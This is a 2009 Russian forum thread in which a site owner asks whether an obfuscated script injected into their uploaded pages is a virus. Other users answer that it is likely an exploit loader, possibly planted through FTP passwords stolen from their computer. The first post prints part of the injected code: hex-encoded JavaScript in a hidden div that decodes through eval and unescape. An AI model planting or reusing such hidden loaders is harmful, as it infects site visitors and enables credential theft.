HikariArt Сообщение 12/02/2009 08:02 Копия темы
Это вирус? .
Несколько раз замечаю, что на странички сайта, после их загрузки на сервер, в код добавляется какой-то непонятный длинный скрипт из набора сиволов. Далее под катом.
Вот кусочек такого скрипта – <div id='x0771a48e2a6bb79147381e8c3b4ffcecc'><style>.hQSc{display:none}</style>& lt;font id='__7c3d' class='hQSc'>66756e6374696f6e2076566966574b4a28746b5672297b66756e6374696f6e2072526b6136 287242564857297b766172206f55446565483d303b7661722078726f793d72425648572e6c656e6774682c20726132517a32 3d303b7768696c6528726132517a323c78726f79297b6f55446565482b3d7471713950424e2872425648572c726132517a32 292a78726f793b726132517a322b2b3b7d72657475726e20286f55446565482b2727293b7d66756e6374696f6e2074717139 50424e286a7671462c71324c6a4a48297b72657475726e206a7671462e63686172436f646541742871324c6a4a48293b7d20 2020747279207b766172207667</font><font class='hQSc' id='__e3a1'>6d344e3d6576616c282761417231674975316d3165706e31744973432e49633161416c316c4 965496543272e7265706c616365282f5b70493141435d2f672c20272729292c6b4b7a6f6d576e3d27272c6550485a3d302c7 65379433d303b76617220694761703d286e657720537472696e672876676d344e29292e7265706c616365282f5b5e40612d7 a302d39412d5a5f2e2c2d5d2f672c2727293b76617220644965775a4b743d72526b61362869476170293b746b56723d756e6 5736361706528746b5672293b666f722876617220707235343d303b2070723534203c2028746b56722e6c656e677468293b2 0707235342b2b297b76617220</font><div class='hQSc'

Из-за этого скрипа, видимо, тормозит сайт и пытается загрузить какие-то левые ссылки.
Это какой-то вирус? На сервере или на компе? Что в данном случае можно сделать?

fabdes Сообщение 12/02/2009 08:05 Копия темы
.
Это наверно код экплоита. Типа уязвимость браузера. КОторый загружает на комп вирус.
Думаю первую очеред надо изменить пароль на ФТП и все будет нормал.

HikariArt Сообщение 12/02/2009 08:06 Копия темы
.
Спасибо, попробую так и сделать.

xadminx Сообщение 12/02/2009 08:06 Копия темы
да .
нужно обратиться к хостеру

artmarkov Сообщение 12/02/2009 12:17 Копия темы
.
однозначно вирус, мог также и на твоем компе быть. Потырить ftp пассы из тотала.